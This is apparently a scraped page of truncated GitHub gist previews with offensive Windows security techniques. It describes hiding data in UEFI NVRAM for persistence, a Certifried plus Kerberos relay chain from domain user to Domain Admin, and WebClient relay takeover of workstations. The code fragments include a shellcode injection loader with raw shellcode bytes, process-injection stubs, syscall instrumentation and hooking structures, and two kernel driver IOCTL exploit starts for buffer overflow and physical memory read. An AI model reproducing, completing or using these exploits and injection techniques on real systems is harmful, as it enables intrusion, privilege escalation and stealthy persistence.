Persist data in UEFI NVRAM variables.
- Stealthy way to store secrets and other data in UEFI.
- Will survive a reimaging of the operating system.
Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.
The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.
Prerequisites:
| #include <Windows.h> | |
| #include <jobapi2.h> | |
| #include <stdlib.h> | |
| // something something don't use iostream | |
| #include <iostream> | |
| #define IF_ERR(x,y) if(x == y) {std::cout<<"Error! : " << GetLastError() << std::endl; exit(-1);} | |
| int main() { | |
| int x; | |
| std::cout << "Enter PID: "; |
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <threadpoolapiset.h> | |
| #define LEN 277 | |
| // run calc | |
| unsigned char op[] = | |
| "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" | |
| "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" |
| #[repr(C)] | |
| pub struct LDR_DATA_TABLE_ENTRY<'ldte> { | |
| pub _reserved0: [PVOID; 2], | |
| pub in_initialize_order_links: LIST_ENTRY<'ldte>, | |
| // removed PVOID[2] | |
| pub dll_base: PVOID, | |
| pub entry_point: PVOID, | |
| pub _reserved1: [PVOID; 3], // Additional 2 PVOID's go here | |
| pub full_dll_name: UNICODE_STRING, | |
| pub _reserved3: [u8; 8], |
| #include <Windows.h> | |
| #define OFFSET_InstrumentationCallbackSp 0x2d0 | |
| #define OFFSET_InstrumentationCallbackPreviousPc 0x2d8 | |
| #define OFFSET_InstrumentationCallbackPreviousSp 0x2e0 | |
| #define OFFSET_InstrumentationCallbackDisabled 0x2ec | |
| #define OFFSET_Instrumentation 0x16b8 | |
| typedef struct SyscallInstrumentation { | |
| BYTE InstrumentationCallbackDisabled; |
In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;
The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.
| #pragma once | |
| #include <Windows.h> | |
| #include <winnt.h> | |
| #include <winternl.h> | |
| static BYTE prelude1[7]{ | |
| 0x4D, 0x8d, 0x4b, 0xf0, // lea r9, [r11-10h] | |
| 0x45, 0x33, 0xc0 // xor r8d, r8d | |
| }; |
| #include <Windows.h> | |
| #include <stdio.h> | |
| #define GLE( x ) { printf("%s failed with error: %d\n", x , GetLastError()); } | |
| #define IOCTL_TRIGGER_OVERFLOW 0x80102040 | |
| DWORD64 genPattern(BYTE b) { | |
| DWORD64 retVal = b; | |
| retVal |= retVal << 8; | |
| retVal |= retVal << 16; |
| /* | |
| IOCTL 0x40002004 : Arbitrary Physical Memory Read using MmMapIoSpace | |
| IOCTL 0x40002008 : Close a handle of your choice! + Stack-based Buffer Overflow | |
| IOCTL 0x40002000 : Arbitrary RW to IO ports | |
| */ | |
| #include <Windows.h> | |
| #include <stdio.h> | |
| #define GLE( x ) { printf("%s failed with error: %d\n", x , GetLastError()); } | |
| #define IOCTL_TRIGGER_OVERFLOW 0x40002008 |